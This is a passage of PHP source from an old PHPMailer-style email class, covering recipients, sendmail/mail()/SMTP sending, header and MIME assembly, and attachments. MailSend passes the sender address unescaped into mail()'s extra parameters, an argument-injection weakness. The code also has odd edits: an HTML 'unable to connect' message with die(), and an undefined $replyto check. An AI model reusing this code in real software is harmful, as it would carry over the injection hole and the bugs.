  1713.    * Sets Mailer to send message using SMTP.
  1714.    * @return void
  1715.    */
  1716.   function IsSMTP() {
  1717.     $this->Mailer = 'smtp';
  1718.   }
  1719.  
  1720.   /**
  1721.    * Sets Mailer to send message using PHP mail() function.
  1722.    * @return void
  1723.    */
  1724.   function IsMail() {
  1725.     $this->Mailer = 'mail';
  1726.   }
  1727.  
  1728.   /**
  1729.    * Sets Mailer to send message using the $Sendmail program.
  1730.    * @return void
  1731.    */
  1732.   function IsSendmail() {
  1733.     $this->Mailer = 'sendmail';
  1734.   }
  1735.  
  1736.   /**
  1737.    * Sets Mailer to send message using the qmail MTA.
  1738.    * @return void
  1739.    */
  1740.   function IsQmail() {
  1741.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1742.     $this->Mailer = 'sendmail';
  1743.   }
  1744.  
  1745.   /////////////////////////////////////////////////
  1746.   // METHODS, RECIPIENTS
  1747.   /////////////////////////////////////////////////
  1748.  
  1749.   /**
  1750.    * Adds a "To" address.
  1751.    * @param string $address
  1752.    * @param string $name
  1753.    * @return void
  1754.    */
  1755.   function AddAddress($address, $name = '') {
  1756.     $cur = count($this->to);
  1757.     $this->to[$cur][0] = trim($address);
  1758.     $this->to[$cur][1] = $name;
  1759.   }
  1760.  
  1761.   /**
  1762.    * Adds a "Cc" address. Note: this function works
  1763.    * with the SMTP mailer on win32, not with the "mail"
  1764.    * mailer.
  1765.    * @param string $address
  1766.    * @param string $name
  1767.    * @return void
  1768.    */
  1769.   function AddCC($address, $name = '') {
  1770.     $cur = count($this->cc);
  1771.     $this->cc[$cur][0] = trim($address);
  1772.     $this->cc[$cur][1] = $name;
  1773.   }
  1774.  
  1775.   /**
  1776.    * Adds a "Bcc" address. Note: this function works
  1777.    * with the SMTP mailer on win32, not with the "mail"
  1778.    * mailer.
  1779.    * @param string $address
  1780.    * @param string $name
  1781.    * @return void
  1782.    */
  1783.   function AddBCC($address, $name = '') {
  1784.     $cur = count($this->bcc);
  1785.     $this->bcc[$cur][0] = trim($address);
  1786.     $this->bcc[$cur][1] = $name;
  1787.   }
  1788.  
  1789.   /**
  1790.    * Adds a "Reply-To" address.
  1791.    * @param string $address
  1792.    * @param string $name
  1793.    * @return void
  1794.    */
  1795.   function AddReplyTo($address, $name = '') {
  1796.     $cur = count($this->ReplyTo);
  1797.     $this->ReplyTo[$cur][0] = trim($address);
  1798.     $this->ReplyTo[$cur][1] = $name;
  1799.   }
  1800.  
  1801.   /////////////////////////////////////////////////
  1802.   // METHODS, MAIL SENDING
  1803.   /////////////////////////////////////////////////
  1804.  
  1805.   /**
  1806.    * Creates message and assigns Mailer. If the message is
  1807.    * not sent successfully then it returns false.  Use the ErrorInfo
  1808.    * variable to view description of the error.
  1809.    * @return bool
  1810.    */
  1811.   function Send() {
  1812.     $header = '';
  1813.     $body = '';
  1814.     $result = true;
  1815.  
  1816.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1817.       $this->SetError($this->Lang('provide_address'));
  1818.       return false;
  1819.     }
  1820.  
  1821.     /* Set whether the message is multipart/alternative */
  1822.     if(!empty($this->AltBody)) {
  1823.       $this->ContentType = 'multipart/alternative';
  1824.     }
  1825.  
  1826.     $this->error_count = 0; // reset errors
  1827.     $this->SetMessageType();
  1828.     $header .= $this->CreateHeader();
  1829.     $body = $this->CreateBody();
  1830.  
  1831.     if($body == '') {
  1832.       return false;
  1833.     }
  1834.  
  1835.     /* Choose the mailer */
  1836.     switch($this->Mailer) {
  1837.       case 'sendmail':
  1838.         $result = $this->SendmailSend($header, $body);
  1839.         break;
  1840.       case 'smtp':
  1841.         $result = $this->SmtpSend($header, $body);
  1842.         break;
  1843.       case 'mail':
  1844.         $result = $this->MailSend($header, $body);
  1845.         break;
  1846.       default:
  1847.         $result = $this->MailSend($header, $body);
  1848.         break;
  1849.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1850.         //$result = false;
  1851.         //break;
  1852.     }
  1853.  
  1854.     return $result;
  1855.   }
  1856.  
  1857.   /**
  1858.    * Sends mail using the $Sendmail program.
  1859.    * @access private
  1860.    * @return bool
  1861.    */
  1862.   function SendmailSend($header, $body) {
  1863.     if ($this->Sender != '') {
  1864.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1865.     } else {
  1866.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1867.     }
  1868.  
  1869.     if(!@$mail = popen($sendmail, 'w')) {
  1870.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1871.       return false;
  1872.     }
  1873.  
  1874.     fputs($mail, $header);
  1875.     fputs($mail, $body);
  1876.  
  1877.     $result = pclose($mail);
  1878.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1879.       $result = $result >> 8 & 0xFF;
  1880.     }
  1881.     if($result != 0) {
  1882.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1883.       return false;
  1884.     }
  1885.     return true;
  1886.   }
  1887.  
  1888.   /**
  1889.    * Sends mail using the PHP mail() function.
  1890.    * @access private
  1891.    * @return bool
  1892.    */
  1893.   function MailSend($header, $body) {
  1894.  
  1895.     $to = '';
  1896.     for($i = 0; $i < count($this->to); $i++) {
  1897.       if($i != 0) { $to .= ', '; }
  1898.       $to .= $this->AddrFormat($this->to[$i]);
  1899.     }
  1900.  
  1901.     $toArr = split(',', $to);
  1902.  
  1903.     $params = sprintf("-oi -f %s", $this->Sender);
  1904.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1905.       $old_from = ini_get('sendmail_from');
  1906.       ini_set('sendmail_from', $this->Sender);
  1907.       if ($this->SingleTo === true && count($toArr) > 1) {
  1908.         foreach ($toArr as $key => $val) {
  1909.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1910.         }
  1911.       } else {
  1912.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1913.       }
  1914.     } else {
  1915.       if ($this->SingleTo === true && count($toArr) > 1) {
  1916.         foreach ($toArr as $key => $val) {
  1917.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1918.         }
  1919.       } else {
  1920.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1921.       }
  1922.     }
  1923.  
  1924.     if (isset($old_from)) {
  1925.       ini_set('sendmail_from', $old_from);
  1926.     }
  1927.  
  1928.     if(!$rt) {
  1929.       $this->SetError($this->Lang('instantiate'));
  1930.       return false;
  1931.     }
  1932.  
  1933.     return true;
  1934.   }
  1935.  
  1936.   /**
  1937.    * Sends mail via SMTP using PhpSMTP (Author:
  1938.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1939.    * bad MAIL FROM, RCPT, or DATA input.
  1940.    * @access private
  1941.    * @return bool
  1942.    */
  1943.   function SmtpSend($header, $body) {
  1944.     $error = '';
  1945.     $bad_rcpt = array();
  1946.  
  1947.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1948.       return false;
  1949.     }
  1950.  
  1951.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1952.     if(!$this->smtp->Mail($smtp_from)) {
  1953.       $error = $this->Lang('from_failed') . $smtp_from;
  1954.       $this->SetError($error);
  1955.       $this->smtp->Reset();
  1956.       return false;
  1957.     }
  1958.  
  1959.     /* Attempt to send attach all recipients */
  1960.     for($i = 0; $i < count($this->to); $i++) {
  1961.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1962.         $bad_rcpt[] = $this->to[$i][0];
  1963.       }
  1964.     }
  1965.     for($i = 0; $i < count($this->cc); $i++) {
  1966.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1967.         $bad_rcpt[] = $this->cc[$i][0];
  1968.       }
  1969.     }
  1970.     for($i = 0; $i < count($this->bcc); $i++) {
  1971.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1972.         $bad_rcpt[] = $this->bcc[$i][0];
  1973.       }
  1974.     }
  1975.  
  1976.     if(count($bad_rcpt) > 0) { // Create error message
  1977.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1978.         if($i != 0) {
  1979.           $error .= ', ';
  1980.         }
  1981.         $error .= $bad_rcpt[$i];
  1982.  
  1983.       }
  1984.       $error = $this->Lang('recipients_failed') . $error;
  1985.       $this->SetError($error);
  1986.       $this->smtp->Reset();
  1987.       return false;
  1988.     }
  1989.  
  1990.     if(!$this->smtp->Data($header . $body)) {
  1991.       $this->SetError($this->Lang('data_not_accepted'));
  1992.       $this->smtp->Reset();
  1993.       return false;
  1994.     }
  1995.     if($this->SMTPKeepAlive == true) {
  1996.       $this->smtp->Reset();
  1997.     } else {
  1998.       $this->SmtpClose();
  1999.     }
  2000.  
  2001.     return true;
  2002.   }
  2003.  
  2004.   /**
  2005.    * Initiates a connection to an SMTP server.  Returns false if the
  2006.    * operation failed.
  2007.    * @access private
  2008.    * @return bool
  2009.    */
  2010.   function SmtpConnect() {
  2011.     if($this->smtp == NULL) {
  2012.       $this->smtp = new SMTP();
  2013.     }
  2014.  
  2015.     $this->smtp->do_debug = $this->SMTPDebug;
  2016.     $hosts = explode(';', $this->Host);
  2017.     $index = 0;
  2018.     $connection = ($this->smtp->Connected());
  2019.  
  2020.     /* Retry while there is no connection */
  2021.     while($index < count($hosts) && $connection == false) {
  2022.       $hostinfo = array();
  2023.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2024.         $host = $hostinfo[1];
  2025.         $port = $hostinfo[2];
  2026.       } else {
  2027.         $host = $hosts[$index];
  2028.         $port = $this->Port;
  2029.       }
  2030.  
  2031.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2032.         if ($this->Helo != '') {
  2033.           $this->smtp->Hello($this->Helo);
  2034.         } else {
  2035.           $this->smtp->Hello($this->ServerHostname());
  2036.         }
  2037.  
  2038.         $connection = true;
  2039.         if($this->SMTPAuth) {
  2040.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2041.             $this->SetError($this->Lang('authenticate'));
  2042.             $this->smtp->Reset();
  2043.             $connection = false;
  2044.           }
  2045.         }
  2046.       }
  2047.       $index++;
  2048.     }
  2049.     if(!$connection) {
  2050.       $this->SetError($this->Lang('connect_host'));
  2051.     }
  2052.  
  2053.     return $connection;
  2054.   }
  2055.  
  2056.   /**
  2057.    * Closes the active SMTP session if one exists.
  2058.    * @return void
  2059.    */
  2060.   function SmtpClose() {
  2061.     if($this->smtp != NULL) {
  2062.       if($this->smtp->Connected()) {
  2063.         $this->smtp->Quit();
  2064.         $this->smtp->Close();
  2065.       }
  2066.     }
  2067.   }
  2068.  
  2069.   /**
  2070.    * Sets the language for all class error messages.  Returns false
  2071.    * if it cannot load the language file.  The default language type
  2072.    * is English.
  2073.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2074.    * @param string $lang_path Path to the language file directory
  2075.    * @access public
  2076.    * @return bool
  2077.    */
  2078.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2079.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2080.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2081.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2082.       include($lang_path.'phpmailer.lang-en.php');
  2083.     } else {
  2084.       $this->SetError('Could not load language file');
  2085.       return false;
  2086.     }
  2087.     $this->language = $PHPMAILER_LANG;
  2088.  
  2089.     return true;
  2090.   }
  2091.  
  2092.   /////////////////////////////////////////////////
  2093.   // METHODS, MESSAGE CREATION
  2094.   /////////////////////////////////////////////////
  2095.  
  2096.   /**
  2097.    * Creates recipient headers.
  2098.    * @access private
  2099.    * @return string
  2100.    */
  2101.   function AddrAppend($type, $addr) {
  2102.     $addr_str = $type . ': ';
  2103.     $addr_str .= $this->AddrFormat($addr[0]);
  2104.     if(count($addr) > 1) {
  2105.       for($i = 1; $i < count($addr); $i++) {
  2106.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2107.       }
  2108.     }
  2109.     $addr_str .= $this->LE;
  2110.  
  2111.     return $addr_str;
  2112.   }
  2113.  
  2114.   /**
  2115.    * Formats an address correctly.
  2116.    * @access private
  2117.    * @return string
  2118.    */
  2119.   function AddrFormat($addr) {
  2120.     if(empty($addr[1])) {
  2121.       $formatted = $this->SecureHeader($addr[0]);
  2122.     } else {
  2123.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2124.     }
  2125.  
  2126.     return $formatted;
  2127.   }
  2128.  
  2129.   /**
  2130.    * Wraps message for use with mailers that do not
  2131.    * automatically perform wrapping and for quoted-printable.
  2132.    * Original written by philippe.
  2133.    * @access private
  2134.    * @return string
  2135.    */
  2136.   function WrapText($message, $length, $qp_mode = false) {
  2137.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2138.     // If utf-8 encoding is used, we will need to make sure we don't
  2139.     // split multibyte characters when we wrap
  2140.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2141.  
  2142.     $message = $this->FixEOL($message);
  2143.     if (substr($message, -1) == $this->LE) {
  2144.       $message = substr($message, 0, -1);
  2145.     }
  2146.  
  2147.     $line = explode($this->LE, $message);
  2148.     $message = '';
  2149.     for ($i=0 ;$i < count($line); $i++) {
  2150.       $line_part = explode(' ', $line[$i]);
  2151.       $buf = '';
  2152.       for ($e = 0; $e<count($line_part); $e++) {
  2153.         $word = $line_part[$e];
  2154.         if ($qp_mode and (strlen($word) > $length)) {
  2155.           $space_left = $length - strlen($buf) - 1;
  2156.           if ($e != 0) {
  2157.             if ($space_left > 20) {
  2158.               $len = $space_left;
  2159.               if ($is_utf8) {
  2160.                 $len = $this->UTF8CharBoundary($word, $len);
  2161.               } elseif (substr($word, $len - 1, 1) == "=") {
  2162.                 $len--;
  2163.               } elseif (substr($word, $len - 2, 1) == "=") {
  2164.                 $len -= 2;
  2165.               }
  2166.               $part = substr($word, 0, $len);
  2167.               $word = substr($word, $len);
  2168.               $buf .= ' ' . $part;
  2169.               $message .= $buf . sprintf("=%s", $this->LE);
  2170.             } else {
  2171.               $message .= $buf . $soft_break;
  2172.             }
  2173.             $buf = '';
  2174.           }
  2175.           while (strlen($word) > 0) {
  2176.             $len = $length;
  2177.             if ($is_utf8) {
  2178.               $len = $this->UTF8CharBoundary($word, $len);
  2179.             } elseif (substr($word, $len - 1, 1) == "=") {
  2180.               $len--;
  2181.             } elseif (substr($word, $len - 2, 1) == "=") {
  2182.               $len -= 2;
  2183.             }
  2184.             $part = substr($word, 0, $len);
  2185.             $word = substr($word, $len);
  2186.  
  2187.             if (strlen($word) > 0) {
  2188.               $message .= $part . sprintf("=%s", $this->LE);
  2189.             } else {
  2190.               $buf = $part;
  2191.             }
  2192.           }
  2193.         } else {
  2194.           $buf_o = $buf;
  2195.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2196.  
  2197.           if (strlen($buf) > $length and $buf_o != '') {
  2198.             $message .= $buf_o . $soft_break;
  2199.             $buf = $word;
  2200.           }
  2201.         }
  2202.       }
  2203.       $message .= $buf . $this->LE;
  2204.     }
  2205.  
  2206.     return $message;
  2207.   }
  2208.  
  2209.   /**
  2210.    * Finds last character boundary prior to maxLength in a utf-8
  2211.    * quoted (printable) encoded string.
  2212.    * Original written by Colin Brown.
  2213.    * @access private
  2214.    * @param string $encodedText utf-8 QP text
  2215.    * @param int    $maxLength   find last character boundary prior to this length
  2216.    * @return int
  2217.    */
  2218.   function UTF8CharBoundary($encodedText, $maxLength) {
  2219.     $foundSplitPos = false;
  2220.     $lookBack = 3;
  2221.     while (!$foundSplitPos) {
  2222.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2223.       $encodedCharPos = strpos($lastChunk, "=");
  2224.       if ($encodedCharPos !== false) {
  2225.         // Found start of encoded character byte within $lookBack block.
  2226.         // Check the encoded byte value (the 2 chars after the '=')
  2227.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2228.         $dec = hexdec($hex);
  2229.         if ($dec < 128) { // Single byte character.
  2230.           // If the encoded char was found at pos 0, it will fit
  2231.           // otherwise reduce maxLength to start of the encoded char
  2232.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2233.           $maxLength - ($lookBack - $encodedCharPos);
  2234.           $foundSplitPos = true;
  2235.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2236.           // Reduce maxLength to split at start of character
  2237.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2238.           $foundSplitPos = true;
  2239.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2240.           $lookBack += 3;
  2241.         }
  2242.       } else {
  2243.         // No encoded character found
  2244.         $foundSplitPos = true;
  2245.       }
  2246.     }
  2247.     return $maxLength;
  2248.   }
  2249.  
  2250.   /**
  2251.    * Set the body wrapping.
  2252.    * @access private
  2253.    * @return void
  2254.    */
  2255.   function SetWordWrap() {
  2256.     if($this->WordWrap < 1) {
  2257.       return;
  2258.     }
  2259.  
  2260.     switch($this->message_type) {
  2261.       case 'alt':
  2262.         /* fall through */
  2263.       case 'alt_attachments':
  2264.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2265.         break;
  2266.       default:
  2267.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2268.         break;
  2269.     }
  2270.   }
  2271.  
  2272.   /**
  2273.    * Assembles message header.
  2274.    * @access private
  2275.    * @return string
  2276.    */
  2277.   function CreateHeader() {
  2278.     $result = '';
  2279.  
  2280.     /* Set the boundaries */
  2281.     $uniq_id = md5(uniqid(time()));
  2282.     $this->boundary[1] = 'b1_' . $uniq_id;
  2283.     $this->boundary[2] = 'b2_' . $uniq_id;
  2284.  
  2285.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2286.     if($this->Sender == '') {
  2287.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2288.     } else {
  2289.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2290.     }
  2291.  
  2292.     /* To be created automatically by mail() */
  2293.     if($this->Mailer != 'mail') {
  2294.       if(count($this->to) > 0) {
  2295.         $result .= $this->AddrAppend('To', $this->to);
  2296.       } elseif (count($this->cc) == 0) {
  2297.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2298.       }
  2299.       if(count($this->cc) > 0) {
  2300.         $result .= $this->AddrAppend('Cc', $this->cc);
  2301.       }
  2302.     }
  2303.  
  2304.     $from = array();
  2305.     $from[0][0] = trim($this->From);
  2306.     $from[0][1] = $this->FromName;
  2307.     $result .= $this->AddrAppend('From', $from);
  2308.  
  2309.     /* sendmail and mail() extract Cc from the header before sending */
  2310.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2311.       $result .= $this->AddrAppend('Cc', $this->cc);
  2312.     }
  2313.  
  2314.     /* sendmail and mail() extract Bcc from the header before sending */
  2315.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2316.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2317.     }
  2318.     if($replyto != "")
  2319.     {
  2320.     if(count($this->ReplyTo) > 0) {
  2321.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2322.     }
  2323.     }
  2324.     /* mail() sets the subject itself */
  2325.     if($this->Mailer != 'mail') {
  2326.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2327.     }
  2328.  
  2329.     if($this->MessageID != '') {
  2330.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2331.     } else {
  2332.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2333.     }
  2334.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2335.     if($this->ConfirmReadingTo != '') {
  2336.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2337.     }
  2338.  
  2339.     // Add custom headers
  2340.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2341.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2342.     }
  2343.     if (!$this->sign_key_file) {
  2344.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2345.       $result .= $this->GetMailMIME();
  2346.     }
  2347.  
  2348.     return $result;
  2349.   }
  2350.  
  2351.   /**
  2352.    * Returns the message MIME.
  2353.    * @access private
  2354.    * @return string
  2355.    */
  2356.   function GetMailMIME() {
  2357.     $result = '';
  2358.     switch($this->message_type) {
  2359.       case 'plain':
  2360.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2361.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2362.         break;
  2363.       case 'attachments':
  2364.         /* fall through */
  2365.       case 'alt_attachments':
  2366.         if($this->InlineImageExists()){
  2367.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2368.         } else {
  2369.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2370.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2371.         }
  2372.         break;
  2373.       case 'alt':
  2374.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2375.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2376.         break;
  2377.     }
  2378.  
  2379.     if($this->Mailer != 'mail') {
  2380.       $result .= $this->LE.$this->LE;
  2381.     }
  2382.  
  2383.     return $result;
  2384.   }
  2385.  
  2386.   /**
  2387.    * Assembles the message body.  Returns an empty string on failure.
  2388.    * @access private
  2389.    * @return string
  2390.    */
  2391.   function CreateBody() {
  2392.     $result = '';
  2393.     if ($this->sign_key_file) {
  2394.       $result .= $this->GetMailMIME();
  2395.     }
  2396.  
  2397.     $this->SetWordWrap();
  2398.  
  2399.     switch($this->message_type) {
  2400.       case 'alt':
  2401.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2402.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2403.         $result .= $this->LE.$this->LE;
  2404.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2405.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2406.         $result .= $this->LE.$this->LE;
  2407.         $result .= $this->EndBoundary($this->boundary[1]);
  2408.         break;
  2409.       case 'plain':
  2410.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2411.         break;
  2412.       case 'attachments':
  2413.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2414.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2415.         $result .= $this->LE;
  2416.         $result .= $this->AttachAll();
  2417.         break;
  2418.       case 'alt_attachments':
  2419.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2420.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2421.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2422.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2423.         $result .= $this->LE.$this->LE;
  2424.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2425.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2426.         $result .= $this->LE.$this->LE;
  2427.         $result .= $this->EndBoundary($this->boundary[2]);
  2428.         $result .= $this->AttachAll();
  2429.         break;
  2430.     }
  2431.  
  2432.     if($this->IsError()) {
  2433.       $result = '';
  2434.     } else if ($this->sign_key_file) {
  2435.       $file = tempnam("", "mail");
  2436.       $fp = fopen($file, "w");
  2437.       fwrite($fp, $result);
  2438.       fclose($fp);
  2439.       $signed = tempnam("", "signed");
  2440.  
  2441.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2442.         $fp = fopen($signed, "r");
  2443.         $result = fread($fp, filesize($this->sign_key_file));
  2444.         fclose($fp);
  2445.       } else {
  2446.         $this->SetError($this->Lang("signing").openssl_error_string());
  2447.         $result = '';
  2448.       }
  2449.  
  2450.       unlink($file);
  2451.       unlink($signed);
  2452.     }
  2453.  
  2454.     return $result;
  2455.   }
  2456.  
  2457.   /**
  2458.    * Returns the start of a message boundary.
  2459.    * @access private
  2460.    */
  2461.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2462.     $result = '';
  2463.     if($charSet == '') {
  2464.       $charSet = $this->CharSet;
  2465.     }
  2466.     if($contentType == '') {
  2467.       $contentType = $this->ContentType;
  2468.     }
  2469.     if($encoding == '') {
  2470.       $encoding = $this->Encoding;
  2471.     }
  2472.     $result .= $this->TextLine('--' . $boundary);
  2473.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2474.     $result .= $this->LE;
  2475.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2476.     $result .= $this->LE;
  2477.  
  2478.     return $result;
  2479.   }
  2480.  
  2481.   /**
  2482.    * Returns the end of a message boundary.
  2483.    * @access private
  2484.    */
  2485.   function EndBoundary($boundary) {
  2486.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2487.   }
  2488.  
  2489.   /**
  2490.    * Sets the message type.
  2491.    * @access private
  2492.    * @return void
  2493.    */
  2494.   function SetMessageType() {
  2495.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2496.       $this->message_type = 'plain';
  2497.     } else {
  2498.       if(count($this->attachment) > 0) {
  2499.         $this->message_type = 'attachments';
  2500.       }
  2501.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2502.         $this->message_type = 'alt';
  2503.       }
  2504.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2505.         $this->message_type = 'alt_attachments';
  2506.       }
  2507.     }
  2508.   }
  2509.  
  2510.   /* Returns a formatted header line.
  2511.    * @access private
  2512.    * @return string
  2513.    */
  2514.   function HeaderLine($name, $value) {
  2515.     return $name . ': ' . $value . $this->LE;
  2516.   }
  2517.  
  2518.   /**
  2519.    * Returns a formatted mail line.
  2520.    * @access private
  2521.    * @return string
  2522.    */
  2523.   function TextLine($value) {
  2524.     return $value . $this->LE;
  2525.   }
  2526.  
  2527.   /////////////////////////////////////////////////
  2528.   // CLASS METHODS, ATTACHMENTS
  2529.   /////////////////////////////////////////////////
  2530.  
  2531.   /**
  2532.    * Adds an attachment from a path on the filesystem.
  2533.    * Returns false if the file could not be found
  2534.    * or accessed.
  2535.    * @param string $path Path to the attachment.
  2536.    * @param string $name Overrides the attachment name.
  2537.    * @param string $encoding File encoding (see $Encoding).
  2538.    * @param string $type File extension (MIME) type.
  2539.    * @return bool
  2540.    */
  2541.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2542.     if(!@is_file($path)) {
  2543.       $this->SetError($this->Lang('file_access') . $path);
  2544.       return false;
  2545.     }
  2546.  
  2547.     $filename = basename($path);
  2548.     if($name == '') {
  2549.       $name = $filename;
  2550.     }
  2551.  
  2552.     $cur = count($this->attachment);
  2553.     $this->attachment[$cur][0] = $path;
  2554.     $this->attachment[$cur][1] = $filename;
  2555.     $this->attachment[$cur][2] = $name;
  2556.     $this->attachment[$cur][3] = $encoding;
  2557.     $this->attachment[$cur][4] = $type;
  2558.     $this->attachment[$cur][5] = false; // isStringAttachment
  2559.     $this->attachment[$cur][6] = 'attachment';
  2560.     $this->attachment[$cur][7] = 0;
  2561.  
  2562.     return true;
  2563.   }
  2564.  
  2565.   /**
  2566.    * Attaches all fs, string, and binary attachments to the message.
  2567.    * Returns an empty string on failure.
  2568.    * @access private
  2569.    * @return string
  2570.    */
  2571.   function AttachAll() {
  2572.     /* Return text of body */
  2573.     $mime = array();
  2574.  
  2575.     /* Add all attachments */
  2576.     for($i = 0; $i < count($this->attachment); $i++) {
  2577.       /* Check for string attachment */
  2578.       $bString = $this->attachment[$i][5];
  2579.       if ($bString) {
  2580.         $string = $this->attachment[$i][0];
  2581.       } else {
  2582.         $path = $this->attachment[$i][0];
  2583.       }
  2584.  
  2585.       $filename    = $this->attachment[$i][1];
  2586.       $name        = $this->attachment[$i][2];
  2587.       $encoding    = $this->attachment[$i][3];
  2588.       $type        = $this->attachment[$i][4];
  2589.       $disposition = $this->attachment[$i][6];
  2590.       $cid         = $this->attachment[$i][7];
  2591.  
  2592.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2593.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2594.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2595.  
  2596.       if($disposition == 'inline') {
  2597.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2598.       }
  2599.  
  2600.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2601.  
  2602.       /* Encode as string attachment */
  2603.       if($bString) {
  2604.         $mime[] = $this->EncodeString($string, $encoding);
  2605.         if($this->IsError()) {
  2606.           return '';
